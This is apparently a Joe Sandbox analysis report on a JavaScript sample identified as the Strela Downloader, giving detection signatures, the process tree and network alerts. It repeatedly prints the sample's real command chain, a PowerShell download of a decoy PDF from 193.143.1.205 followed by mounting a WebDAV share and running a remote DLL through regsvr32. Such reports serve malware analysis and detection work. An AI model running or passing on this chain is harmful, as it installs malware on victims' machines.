Edit tour

Windows Analysis Report
37422659297833858.js

Overview

General Information

Sample name:	37422659297833858.js
Analysis ID:	1588150
MD5:	3c8dbd65993f632e302f7eae17159910
SHA1:	3409ec8b8438233c45e354661180086efe410c51
SHA256:	9774d846b2ddae21b57b307b785be82c3b26411be5c4b7d5d44394207294c740
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7452 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\37422659297833858.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7728 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7780 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8016 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6188 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7336 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1692,i,8005319115025688089,6454460865170598728,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8032 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8132 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4880 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7452	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7728, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7780, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7728, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7780, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\37422659297833858.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\37422659297833858.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\37422659297833858.js", ProcessId: 7452, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8132, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49720

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\37422659297833858.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, ProcessId: 7728, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\37422659297833858.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, ProcessId: 7728, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\37422659297833858.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, ProcessId: 7728, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\37422659297833858.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, ProcessId: 7728, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\37422659297833858.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, ProcessId: 7728, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\37422659297833858.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\37422659297833858.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\37422659297833858.js", ProcessId: 7452, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7728, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7780, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8032, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8132, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4880, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8032, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8132, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\37422659297833858.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138683276524832.dll, ProcessId: 7728, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:57:14.438477+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49720	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:57:11.700753+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 37422659297833858.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 37422659297833858.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49720 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:57:11 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 63 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49720

Source: global traffic

TCP traffic: 192.168.2.10:49720 -> 193.143.1.205:8888

Source: global traffic	TCP traffic: 192.168.2.10:50453 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.10:60740 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

